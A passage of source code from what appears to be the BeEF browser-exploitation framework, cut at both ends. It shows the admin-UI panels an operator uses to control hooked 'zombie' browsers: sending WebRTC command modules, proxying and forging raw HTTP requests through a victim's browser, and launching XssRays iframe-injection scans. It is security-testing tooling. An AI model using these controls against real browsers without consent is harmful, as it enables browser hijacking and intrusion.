prompt(\"Parameters:\");\n                  if (cmd_opts == \"\") {\n                    cmd_opts = \"[]\";\n                  }\n                  try {\n                    cmd_opts = JSON.parse(cmd_opts);\n                  } catch (e) {\n                    commands_statusbar.update_fail(\"Invalid JSON\")\n                    return;\n                  }\n                  commands_statusbar.update_sending(\"Sending command [id: \" + cmd_id + \"]\")\n                  Ext.Ajax.request({\n                    url: url,\n                    method: 'POST',\n                    headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                    jsonData: {\n                      'from': record.json.hb_id,\n                      'to': record.json.target_id,\n                      'cmdid': cmd_id,\n                      'options': cmd_opts\n                    },\n                    success: function(data){\n                      commands_statusbar.update_sent(\"Command [id: \" + cmd_id + \"] sent successfully\");\n                    },\n                    error: function(){\n                      commands_statusbar.update_fail(\"Error executing module [id: \" + cmd_id + \"]\");\n                    }\n                  });\n                }\n              }\n            ]\n          });\n          grid.rowCtxMenu.showAt(e.getXY());\n        }\n      },\n      afterrender: function(datagrid) {\n        datagrid.store.reload({params: {nonce: Ext.get(\"nonce\").dom.value}});\n      }\n    }\n\t\t\n\t});\n\t\n\tvar rtc_events_panel = new Ext.Panel({\n\t\tid: 'rtc-events-host-panel-zombie-'+zombie.session,\n\t\ttitle: 'Peers',\n\t\titems:[rtc_events_panel_grid],\n\t\tlayout: 'fit',\n\t\tlisteners: {\n\t\t\tactivate: function(hosts_panel) {\n\t\t\t\trtc_events_panel.items.items[0].store.reload({ params: {nonce: Ext.get (\"nonce\").dom.value} });\n\t\t\t}\n\t\t}\n\t});\n\n\t/*\n\t * The panel that displays all command modules executed via RTC\n\t ********************************************/\n\tvar rtc_moduleevents_panel_store = new Ext.ux.data.PagingJsonStore({\n\t\tstoreId: 'rtc-moduleevents-store-zombie-'+zombie.session,\n\t\tproxy: new Ext.data.HttpProxy({\n\t\t\turl: '/api/webrtc/cmdevents/'+zombie_id+'?token='+token,\n\t\t\tmethod: 'GET'\n\t\t}),\n\t\tremoteSort: false,\n\t\tautoDestroy: true,\n\t\tautoLoad: false,\n\t\troot: 'events',\n\t\tfields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at', 'mod'],\n\t\tsortInfo: {field: 'id', direction: 'ASC'}\n\t});\n\n\tvar rtc_moduleevents_panel_bbar = new Ext.PagingToolbar({\n\t\tpageSize: req_pagesize,\n\t\tstore: rtc_moduleevents_panel_store,\n\t\tdisplayInfo: true,\n\t\tdisplayMsg: 'Displaying RTC command events {0} - {1} of {2}',\n\t\temptyMsg: 'No events to display'\n\t});\n\n\tvar rtc_moduleevents_panel_grid = new Ext.grid.GridPanel({\n\t\tid: 'rtc-moduleevents-grid-zombie-'+zombie.session,\n\t\tstore: rtc_moduleevents_panel_store,\n\t\tbbar: rtc_moduleevents_panel_bbar,\n\t\tborder: false,\n\t\tloadMask: {msg:'Loading events...'},\n\t\t\n\t\tviewConfig: {\n\t\t\tforceFit: true\n\t\t},\n\t\t\n\t\tview: new Ext.grid.GridView({\n\t\t\tforceFit: true,\n\t\t\temptyText: \"No events\",\n\t\t\tenableRowBody:true\n\t\t}),\n\t\t\n\t\tcolumns: [\n\t\t\t{header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},\n      {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},\n      {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){\n              if (value === zombie_id) {\n                return $jEncoder.encoder.encodeForHTML(value) + \" (selected)\";\n              } else {\n                return $jEncoder.encoder.encodeForHTML(value) + \" (\" + beefwui.get_info_from_id(value)['ip'] + \")\";\n              }\n      }},\n      {header: 'Module', width: 10, sortable: true, dataIndex: 'mod', renderer: function(value){\n              return $jEncoder.encoder.encodeForHTML(value);\n      }},\n\t\t\t{header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}\n\t\t]\n\t});\n\t\n\tvar rtc_moduleevents_panel = new Ext.Panel({\n\t\tid: 'rtc-moduleevents-host-panel-zombie-'+zombie.session,\n\t\ttitle: 'Command module results',\n\t\titems:[rtc_moduleevents_panel_grid],\n\t\tlayout: 'fit',\n\t\tlisteners: {\n\t\t\tactivate: function(hosts_panel) {\n\t\t\t\trtc_moduleevents_panel.items.items[0].store.reload({ params: {nonce: Ext.get (\"nonce\").dom.value} });\n\t\t\t}\n\t\t}\n\t});\n        /*\n         * The Network tab constructor\n         ********************************************/\n\tZombieTab_Rtc.superclass.constructor.call(this, {\n\t\tid: 'zombie-rtc-tab-zombie-'+zombie.session,\n\t\ttitle: 'WebRTC',\n\t\tactiveTab: 0,\n\t\tviewConfig: {\n\t\t\tforceFit: true,\n\t\t\tstripRows: true,\n\t\t\ttype: 'fit'\n\t\t},\n    items: [rtc_events_panel,rtc_moduleevents_panel],\n\t\tbbar: commands_statusbar,\n\t\tlisteners: {\n\t\t}\n\t});\n\t\n};\n\nExt.extend(ZombieTab_Rtc, Ext.TabPanel, {});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The request Tab panel for the selected zombie.\n * Loaded in /ui/panel/index.html\n */\nZombieTab_Requester = function(zombie) {\n\t\n\t// The status bar.\n\tvar commands_statusbar = new Beef_StatusBar('requester-bbar-zombie-'+zombie.session);\n\t\n\t\n\t/*\n\t * The panel used to forge raw HTTP requests.\n\t ********************************************/\n\tvar requests_panel = new Ext.Panel({\n\t\tid: 'requester-forge-requests-zombie-'+zombie.session,\n\t\ttitle: 'Forge Request',\n\t\tlayout: 'fit'\n\t});\n\n\t/*\n\t * The panel used to select hooked browsers as proxy endpoints.\n\t * TODO: Add list of hooked browsers here\n\t ********************************************/\n\tvar proxy_panel = new Ext.Panel({\n\t\tid: 'requester-proxy-zombie-'+zombie.session,\n\t\ttitle: 'Help',\n\t\tlayout: 'fit',\n\t\tpadding: '10 10 10 10',\n                html: \"<div style='font:11px tahoma,arial,helvetica,sans-serif;width:500px' ><p style='font:11px tahoma,arial,helvetica,sans-serif'>The Tunneling Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \\\"Use as Proxy\\\".</p><p style='margin: 10 0 10 0'><img src='<%= @base_path %>/media/images/help/proxy.png'></p><p>The proxy runs on localhost port 6789 by default. Each request sent through the Proxy is recorded in the History panel in the Proxy tab. Click a history item to view the HTTP response headers and response body.</p><p style='margin: 10 0 10 0'><img src='<%= @base_path %>/media/images/help/history.png'></p><p style='font:11px tahoma,arial,helvetica,sans-serif'>To manually forge an arbitrary HTTP request use the \\\"Forge Request\\\" tab from the Proxy tab.</p><p style='margin: 10 0 10 0'><img src='<%= @base_path %>/media/images/help/forge.png'></p><p style='font:11px tahoma,arial,helvetica,sans-serif'>For more information see: <a href=\\\"https://github.com/beefproject/beef/wiki/Tunneling\\\">https://github.com/beefproject/beef/wiki/Tunneling</a></p></div>\",\n\t\tlisteners: {\n\t\t\tactivate: function(proxy_panel) {\n\t\t\t\t// to do: refresh list of hooked browsers\n\t\t\t}\n\t\t}\n\n\t});\n\n\t/*\n\t * TODO: The panel used to configure the proxy on-the-fly\n\t ********************************************/\n\t/*\n\tvar options_panel = new Ext.Panel({\n\t\tid: 'requester-options-zombie-'+zombie.session,\n\t\ttitle: 'Proxy',\n\t\tlayout: 'fit'\n\t});\n\t*/\n\t/*\n\t * The panel that displays the history of all requests performed.\n\t ********************************************/\n\tvar history_panel_store = new Ext.ux.data.PagingJsonStore({\n\t\tstoreId: 'requester-history-store-zombie-'+zombie.session,\n\t\tproxy: new Ext.data.HttpProxy({\n\t\t\tmethod: 'GET',\n\t\t\turl: '/api/requester/requests/' + zombie.session + '?token=' + beefwui.get_rest_token(),\n\t\t}),\n\t\tremoteSort: false,\n\t\tautoDestroy: true,\n\t\tautoLoad: false,\n\t\troot: 'requests',\n\n\t\tfields: ['proto', 'domain', 'port', 'method', 'request_date', 'response_date','id', 'has_ran', 'path','response_status_code', 'response_status_text', 'response_port_status'],\n\t\tsortInfo: {field: 'request_date', direction: 'DESC'},\n\t});\n\n\tvar req_pagesize = 30;\n\n\tvar history_panel_bbar = new Ext.PagingToolbar({\n\t\tpageSize: req_pagesize,\n\t\tstore: history_panel_store,\n\t\tdisplayInfo: true,\n\t\tdisplayMsg: 'Displaying history {0} - {1} of {2}',\n\t\temptyMsg: 'No history to display'\n\t});\n\n\tvar history_panel_grid = new Ext.grid.GridPanel({\n\t\tid: 'requester-history-grid-zombie-'+zombie.session,\n\t\tstore: history_panel_store,\n\t\tbbar: history_panel_bbar,\n\t\tborder: false,\n\t\tloadMask: {msg:'Loading History...'},\n\t\t\n\t\tviewConfig: {\n\t\t\tforceFit:true\n\t\t},\n\t\t\n\t\tview: new Ext.grid.GridView({\n\t\t\tforceFit: true,\n\t\t\temptyText: \"No History\",\n\t\t\tenableRowBody:true\n\t\t}),\n\t\t\n\t\tcolumns: [\n\t\t\t{header: 'Id', width: 10, sortable: true, dataIndex: 'id', hidden:true},\n\t\t\t{header: 'Proto', width: 30, sortable: true, dataIndex: 'proto', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Domain', sortable: true, dataIndex: 'domain', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Port', width: 30, sortable: true, dataIndex: 'port', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Method', width: 30, sortable: true, dataIndex: 'method', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Path', sortable: true, dataIndex: 'path', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Res Code', width: 35, sortable: true, dataIndex: 'response_status_code', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Res Text', width: 50, sortable: true, dataIndex: 'response_status_text', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Port Status', width: 40, sortable: true, dataIndex: 'response_port_status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Processed', width: 50, sortable: true, dataIndex: 'has_ran', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Req Date', width: 50, sortable: true, dataIndex: 'request_date', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Res Date', width: 50, sortable: true, dataIndex: 'response_date', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}\n\n\t\t],\n\t\t\n\t\tlisteners: {\n\t\t\trowclick: function(grid, rowIndex) {\n\t\t\t\tvar tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session);\n\t\t\t\tvar r = grid.getStore().getAt(rowIndex).data;\n\t\t\t\t\n\t\t\t\tif(r.has_ran != \"complete\") {\n\t\t\t\t\tcommands_statusbar.update_fail(\"Response for this request has not been received yet.\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(!tab_panel.get('requester-response-'+r.id)) {\n\t\t\t\t\tgenResultTab(r, zombie, commands_statusbar);\n\t\t\t\t}\n\t\t\t},\n\t\t\tafterrender: function(datagrid) {\n\t\t\t\tdatagrid.store.reload({params:{start:0,limit:req_pagesize, sort: \"date\", dir:\"DESC\"}});\n\t\t\t},\n\n\t\t\t// History grid context menu (right click on a row in the history grid)\n\t\t\trowcontextmenu: function(grid, rowIndex, e){\n\t\t\t\te.preventDefault();\n\t\t\t\tgrid.getSelectionModel().selectRow(rowIndex);\n\t\t\t\tif (!!grid.rowCtxMenu) {\n\t\t\t\t\tgrid.rowCtxMenu.destroy();\n\t\t\t\t}\n\t\t\t\tvar record = grid.selModel.getSelected();\n\t\t\t\tgrid.rowCtxMenu = new Ext.menu.Menu({\n\t\t\t\t\titems: [{\n\t\t\t\t\t\ttext: 'View Response',\n\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-web',\n\t\t\t\t\t\thandler: function() {\n\t\t\t\t\t\t\tif(record.get('has_ran') != \"complete\") {\n\t\t\t\t\t\t\t\tcommands_statusbar.update_fail(\"Response for this request has not been received yet.\");\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(!history_panel.get('requester-response-'+record.get('id'))) {\n\t\t\t\t\t\t\t\tgenResultTab(grid.getStore().getAt(rowIndex).data, zombie, commands_statusbar);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t},{\n\t\t\t\t\t\ttext: 'Delete Response',\n\t\t\t\t\t\ticonCls: 'zombie-tree-ctxMenu-delete',\n\t\t\t\t\t\thandler: function() {\n\t\t\t\t\t\t\tvar response_id = record.get('id');\n\n\t\t\t\t\t\t\tif(record.get('has_ran') != \"complete\") {\n\t\t\t\t\t\t\t\tcommands_statusbar.update_fail(\"Response for this request has not been received yet.\");\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t} else {\n\t                                                        if (!confirm('Are you sure you want to remove response [id: '+response_id+'] ?')) {\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Cancelled');\n\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcommands_statusbar.update_sending('Removing network host [id: '+ response_id +'] ...');\n\t\t\t\t\t\t\t\tdeleteResponse(grid.getStore().getAt(rowIndex).data, zombie, commands_statusbar);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}]\n\t\t\t\t});\n\t\t\t\tgrid.rowCtxMenu.showAt(e.getXY());\n\t\t\t}\n\t\t}\n\t});\n\t\n\tvar history_panel = new Ext.Panel({\n\t\tid: 'requester-history-panel-zombie-'+zombie.session,\n\t\ttitle: 'History',\n\t\titems:[history_panel_grid],\n\t\tlayout: 'fit',\n\t\tlisteners: {\n\t\t\tactivate: function(history_panel) {\n\t\t\t\thistory_panel.items.items[0].store.reload({params: {nonce: Ext.get(\"nonce\").dom.value}});\n\t\t\t}\n\t\t}\n\t});\n\n\t// Return the extension_requester_http table row ID given a grid row index\n\tfunction getHttpDbId(grid, rowIndex){\n\t\tvar row = grid.getStore().getAt(rowIndex).data;\n\t\tvar result = null;\n\t\tif(row != null){\n\t\t\tresult = row.id;\n\t\t}\n\t\treturn result;\n\t}\n\t\n\t// Function generating the requests panel to send raw requests\n\t//-------------------------------------------------------------\n\tfunction genRawRequestPanel(zombie, bar, value) {\n\t\tvar form = new Ext.FormPanel({\n\t\t\ttitle: 'Forge Raw HTTP Request',\n\t\t\tid: 'requester-request-form-zombie'+zombie.session,\n\t\t\turl: '/api/requester/send/' + zombie.session + '?token=' + beefwui.get_rest_token(),\n\t\t\thideLabels : true,\n\t\t\tborder: false,\n\t\t\tpadding: '3px 5px 0 5px',\n\t\t\t\n\t\t\titems:[{\n\t\t\t\txtype: 'checkboxgroup',\n\t\t\t\t//border: true,\n\t\t\t\t//fieldLabel : 'Request Options',\n\t\t\t\titems: [{\n\t\t\t\t\tboxLabel: 'SSL',\n\t\t\t\t\tname: 'ssl',\n\t\t\t\t\tinputValue: '1',\n\t\t\t\t\tchecked: false, // (window.location.protocol == 'https'),\n\t\t\t\t\tid: 'requester-forge-requests-ssl'\n\t\t\t\t}]\n\t\t\t},{\n\t\t\t\txtype: 'textarea',\n\t\t\t\tid: 'raw-request-zombie-'+zombie.session,\n\t\t\t\tname: 'raw_request',\n\t\t\t\twidth: '100%',\n\t\t\t\theight: '100%',\n\t\t\t\tallowBlank: false\n\t\t\t}],\n\t\t\t\n\t\t\tbuttons: [{\n\t\t\t\ttext: 'Send',\n\t\t\t\thandler: function() {\n\t\t\t\t\tvar use_ssl = Ext.getCmp('requester-forge-requests-ssl').getValue();\n\t\t\t\t\tif (use_ssl) var proto = 'https'; else var proto = 'http';\n\t\t\t\t\tvar form = Ext.getCmp('requester-request-form-zombie'+zombie.session).getForm();\n\n\t\t\t\t\tbar.update_sending('Sending request to ' + zombie.ip + '...');\n\t\t\t\t\t\n\t\t\t\t\tform.submit({\n\t\t\t\t\t\tparams: {\n\t\t\t\t\t\t\traw_request: Ext.getCmp('raw-request-zombie-'+zombie.session).getValue(),\n\t\t\t\t\t\t\tproto: proto\n\t\t\t\t\t\t},\n\t\t\t\t\t\tsuccess: function() {\n\t\t\t\t\t\t\tbar.update_sent(\"Request sent to hooked browser \" + zombie.ip);\n\t\t\t\t\t\t},\n\t\t\t\t\t\tfailure: function() {\n\t\t\t\t\t\t\tbar.update_fail(\"Error! Invalid http request.\");\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}]\n\t\t});\n\n\t\tif(!value) {\n\t\t\tif (zombie.domain) {\n\t\t\t\tvalue = \"GET /demos/secret_page.html HTTP/1.1\\n\";\n\t\t\t\tvalue += \"Host: \"+zombie.domain+\":\"+zombie.port+\"\\n\";\n\t\t\t} else value = \"GET / HTTP/1.1\\nHost: \\n\";\n\t\t}\n\n\t\tform.get('raw-request-zombie-'+zombie.session).value = value;\n\t\t\n\t\tpanel = Ext.getCmp('requester-forge-requests-zombie-'+zombie.session);\n\t\tpanel.setTitle('Forge Request');\n\t\tpanel.add(form);\n\t};\n\n        // Function to delete a response from the requester history\n        //------------------------------------------------------------------\n        function deleteResponse(request, zombie, bar) {\n\n\t\tExt.Ajax.request({\n\t\t\turl: '/api/requester/response/' + request.id + '?token=' + beefwui.get_rest_token(),\n\t\t\tmethod: 'DELETE',\n\t\t\tloadMask: true,\n\t\t\t\n\t\t\tsuccess: function(response) {\n\t\t\t\tvar xhr = Ext.decode(response.responseText);\n\t\t\t\tif (xhr['success'] == 'true') {\n\t\t\t\t\tbar.update_sent(\"Deleted response.\");\n\t\t\t\t} else {\n\t\t\t\t\tbar.update_fail(\"Error! Could not delete the response.\");\n\t\t\t\t}\n\t\t\t},\n\t\t\t\n\t\t\tfailure: function() {\n\t\t\t\tbar.update_fail(\"Error! Could not delete the response.\");\n\t\t\t}\n\t\t});\n\t}\t\n\n\t// Function generating the panel that shows the results of a request\n\t// This function is called when the user clicks on a row in the grid\n\t// showing the results in the history.\n\t//------------------------------------------------------------------\n\tfunction genResultTab(request, zombie, bar) {\n\t\tvar tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session);\n\t\t\n\t\tbar.update_sending('Getting response...');\n\t\t\n\t\tExt.Ajax.request({\n\t\t\turl: '/api/requester/response/' + request.id + '?token=' + beefwui.get_rest_token(),\n\t\t\tloadMask: true,\n\t\t\tsuccess: function(response) {\n\t\t\t\tvar xhr = Ext.decode(response.responseText);\n\n\t\t\t\tif (xhr['success'] !== 'true') {\n\t\t\t\t\tbar.update_fail(\"Error! Could not load the response.\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tvar tab_result_response_headers = new Ext.Panel({\n\t\t\t\t\ttitle: 'Response Headers',\n\t\t\t\t\tborder: false,\n\t\t\t\t\tcollapsed: true,\n\t\t\t\t\tlayout: 'fit',\n\t\t\t\t\tpadding: '5px 5px 5px 5px',\n\t\t\t\t\titems:[new Ext.form.TextArea({id: 'requester-response-res-headers-'+request.id, value: xhr.result.response_headers + \"\\n\"})]\n\t\t\t\t});\n\n\t\t\t\tvar tab_result_response_body = new Ext.Panel({\n\t\t\t\t\ttitle: 'Response Body',\n\t\t\t\t\tborder: false,\n\t\t\t\t\tcollapsed: false,\n\t\t\t\t\tlayout: 'fit',\n\t\t\t\t\tpadding: '5px 5px 5px 5px',\n\t\t\t\t\titems:[new Ext.form.TextArea({id: 'requester-response-res-body-'+request.id, value: xhr.result.response + \"\\n\"})]\n\t\t\t\t});\n\n\t\t\t\tvar tab_result_request = new Ext.Panel({\n\t\t\t\t\ttitle: 'Request',\n\t\t\t\t\tborder: false,\n\t\t\t\t\tcollapsed: true,\n\t\t\t\t\tlayout: 'fit',\n\t\t\t\t\tpadding: '5px 5px 5px 5px',\n\t\t\t\t\titems:[new Ext.form.TextArea({id: 'requester-response-req-'+request.id, value: xhr.result.request})]\n\t\t\t\t});\n\t\t\n\t\t\t\tvar tab_result_accordion = new Ext.Panel({\n\t\t\t\t\tid: 'requester-response-'+request.id,\n\t\t\t\t\ttitle: $jEncoder.encoder.encodeForHTML(request.path),\n\t\t\t\t\tsplit: true,\n\t\t\t\t\tborder: false,\n\t\t\t\t\tlayout:'accordion',\n\t\t\t\t\tclosable: true,\n\t\t\t\t\titems:[tab_result_request, tab_result_response_headers, tab_result_response_body]\n\t\t\t\t});\n\t\t\n\t\t\t\ttab_panel.add(tab_result_accordion);\n\t\t\t\ttab_panel.activate(tab_result_accordion.id);\n\t\t\t\t\n\t\t\t\tbar.update_sent(\"Displaying response.\");\n\t\t\t},\n\t\t\t\n\t\t\tfailure: function() {\n\t\t\t\tbar.update_fail(\"Error! Could not retrieve the response.\");\n\t\t\t}\n\t\t});\n\t};\n\n\n\tZombieTab_Requester.superclass.constructor.call(this, {\n\t\tid: 'zombie-requester-tab-zombie-'+zombie.session,\n\t\ttitle: 'Proxy',\n\t\tactiveTab: 0,\n\t\tviewConfig: {\n\t\t\tforceFit: true,\n\t\t\ttype: 'fit'\n\t\t},\n\t\t\n        items: [history_panel, requests_panel, proxy_panel],\n\t\t\n\t\tbbar: commands_statusbar,\n\t\t\n\t\tlisteners: {\n\t\t\tafterrender : function(){\n\t\t\t\tgenRawRequestPanel(zombie, commands_statusbar);\n\t\t\t}\n\t\t}\n\t});\n\t\n};\n\nExt.extend(ZombieTab_Requester, Ext.TabPanel, {});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The XssRays Tab panel for the selected zombie.\n */\n\nZombieTab_XssRaysTab = function(zombie) {\n  var commands_statusbar = new Beef_StatusBar('xssrays-bbar-zombie-'+zombie.session);\n  var req_pagesize = 30;\n\n  // RESTful API token\n  var token = BeefWUI.get_rest_token();\n\n  var xssrays_config_panel = new Ext.Panel({\n    id: 'xssrays-config-zombie-'+zombie.session,\n    title: 'Scan Config',\n    layout: 'fit'\n  });\n\n  var xssrays_logs_store = new Ext.ux.data.PagingJsonStore({\n    storeId: 'xssrays-logs-store-zombie-' + zombie.session,\n    remoteSort: false,\n    autoDestroy: true,\n    autoLoad: false,\n    proxy: new Ext.data.HttpProxy({\n      method: 'GET',\n      url: '/api/xssrays/rays/' + zombie.session + '?token=' + token\n    }),\n    root: 'rays',\n    fields: ['id', 'vector_method', 'vector_name', 'vector_poc'],\n    sortInfo: {field: 'id', direction: 'DESC'},\n  });\n\n  var xssrays_logs_bbar = new Ext.PagingToolbar({\n    pageSize: req_pagesize,\n    store: xssrays_logs_store,\n    displayInfo: true,\n    displayMsg: 'Displaying history {0} - {1} of {2}',\n    emptyMsg: 'No history to display'\n  });\n\n  var xssrays_logs_grid = new Ext.grid.GridPanel({\n        id: 'xssrays-logs-grid-zombie-' + zombie.session,\n        store: xssrays_logs_store,\n        bbar: xssrays_logs_bbar,\n        border: false,\n        loadMask: {msg:'Loading History...'},\n\n        viewConfig: {\n            forceFit:true\n        },\n\n        view: new Ext.grid.GridView({\n            forceFit: true,\n            emptyText: \"No History\",\n            enableRowBody:true\n        }),\n\n        columns: [\n            {header: 'Id', width: 10, sortable: true, dataIndex: 'id', hidden:true},\n            {header: 'Vector Method', width: 30, sortable: true, dataIndex: 'vector_method', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n            {header: 'Vector Name', width: 40, sortable: true, dataIndex: 'vector_name', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n            {header: 'Vector PoC', sortable: true, dataIndex: 'vector_poc', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}\n        ],\n\n        listeners: {\n            afterrender: function(datagrid) {\n                datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: \"date\", dir:\"DESC\"}});\n            }\n        }\n  });\n\n  var xssrays_logs_panel = new Ext.Panel({\n\t\tid: 'xssrays-logs-panel-zombie-'+zombie.session,\n\t\ttitle: 'Logs',\n\t\titems:[xssrays_logs_grid],\n\t\tlayout: 'fit',\n\n\t\tlisteners: {\n\t\t\tactivate: function(xssrays_logs_panel) {\n\t\t\t\txssrays_logs_panel.items.items[0].store.reload();\n\t\t\t}\n\t\t}\n  });\n\n  function genScanSettingsPanel(zombie, bar, value) {\n\t\tvar form = new Ext.FormPanel({\n\t\t\ttitle: 'Scan settings',\n\t\t\tid: 'xssrays-config-form-zombie'+zombie.session,\n\t\t\turl: '/api/xssrays/scan/' + zombie.session + '?token=' + token,\n            labelWidth: 230,\n\t\t\tborder: false,\n\t\t\tpadding: '3px 5px 0 5px',\n            defaults: {width: 100},\n            defaultType: 'textfield',\n\n\t\t\titems:[{\n                fieldLabel: 'Clean Timeout (milliseconds before the injected iFrames are removed from the DOM)',\n                name: 'clean_timeout',\n                allowBlank:false,\n                value: 5000,\n                padding: '10px 5px 0 5px'\n            },{\n               xtype:'checkbox',\n               id:'cross_origin',\n               fieldLabel: 'Cross-origin (check for XSS on cross-origin resources)',\n               name: 'cross_origin',\n               checked: true\n            }],\n\n\t\t\tbuttons: [{\n\t\t\t\ttext: 'Start Scan',\n\t\t\t\thandler: function() {\n\t\t\t\t\tvar form = Ext.getCmp('xssrays-config-form-zombie'+zombie.session).getForm();\n\n                    bar.update_sending('Starting XssRays on ' + zombie.ip + ' ...');\n\t\t\t\t\tform.submit({\n\t\t\t\t\t\tparams: {\n\t\t\t\t\t\t\tcross_origin: document.getElementById('cross_origin').checked\n\t\t\t\t\t\t},\n\t\t\t\t\t\tsuccess: function() {\n\t\t\t\t\t\t\tbar.update_sent(\"Scan settings saved for hooked browser [\" + zombie.ip + \"]. XssRays will be added to victim DOM on next polling.\");\n\t\t\t\t\t\t},\n\t\t\t\t\t\tfailure: function() {\n\t\t\t\t\t\t\tbar.update_fail(\"Error! Something went wrong saving scan settings.\");\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}]\n\t\t});\n\n\t\tpanel = Ext.getCmp('xssrays-config-zombie-'+zombie.session);\n\t\tpanel.setTitle('Scan Config');\n\t\tpanel.add(form);\n\t}\n\n\tZombieTab_XssRaysTab.superclass.constructor.call(this, {\n        id: 'xssrays-log-tab-'+zombie.session,\n\t\ttitle: 'XssRays',\n\t\tactiveTab: 0,\n\t\tviewConfig: {\n\t\t\tforceFit: true,\n\t\t\ttype: 'fit'\n\t\t},\n        items: [xssrays_logs_panel, xssrays_config_panel],\n        bbar: commands_statusbar,\n        listeners: {\n\t\t\tafterrender : function(){\n\t\t\t\tgenScanSettingsPanel(zombie, commands_statusbar);\n\t\t\t}\n\t\t}\n  });\n};\n\nExt.extend(ZombieTab_XssRaysTab, Ext.TabPanel, {} );\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The zombie panel located on the left hand side of the interface.\n */\nzombiesTreeList = function(id) {\n    \n\tvar title = id.slice(0,1).toUpperCase() + id.slice(1);\n\n\n\tzombiesTreeList.superclass.constructor.call(this, {\n\t\tid:'zombie-tree-'+id,\n        region:'west',\n        title: title,\n        split:true,\n        rootVisible:false,\n        lines:false,\n        autoScroll:true,\n\t\tuseArrows:true,\n        root: new Ext.tree.TreeNode('My Zombies'),\n        collapseFirst:false\n\t});\n\t\n\t//the tree node that contains the list of online hooked browsers\n\tthis.online_hooked_browsers_treenode = this.root.appendChild(\n        new Ext.tree.TreeNode({\n            qtip: \"Online hooked browsers\",\n            text:'Online Browsers',\n            cls:'online-zombies-node',\n            expanded:true\n        })\n    );\n\t\n\t//the tree node that contains the list of offline hooked browsers\n\tthis.offline_hooked_browsers_treenode = this.root.appendChild(\n        new Ext.tree.TreeNode({\n            qtip: \"Offline hooked browsers\",\n            text:'Offline Browsers',\n            cls:'offline-zombies-node',\n            expanded:false\n        })\n    );\n\t\n};\n\n/*\n * The Tree panel that contains the zombie list.\n */\nExt.extend(zombiesTreeList, Ext.tree.TreePanel, {\n\t\n\t//saves the configuration for the tree\n\ttree_configuration: {\n\t\t'sub-branch' : 'domain'\n\t},\n\n\t//store the list of online hooked browsers in an array\n\tonline_hooked_browsers_array: new Array,\n\t\n\t//store the list of offline hooked browsers in an array\n\toffline_hooked_browsers_array: new Array,\n\t\n    //add a context menu that will contain common action shortcuts for HBs\n    contextMenu: new Ext.menu.Menu({\n      items: <%=\n  context_menu = []\n  sep = { xtype: 'menuseparator' }\n\n  if (BeEF::Core::Configuration.instance.get(\"beef.extension.proxy.enable\"))\n    context_menu << {\n      id: 'use_as_proxy',\n      text: 'Use as Proxy',\n      iconCls: 'zombie-tree-ctxMenu-proxy'\n    }\n    context_menu << sep\n  end\n  if 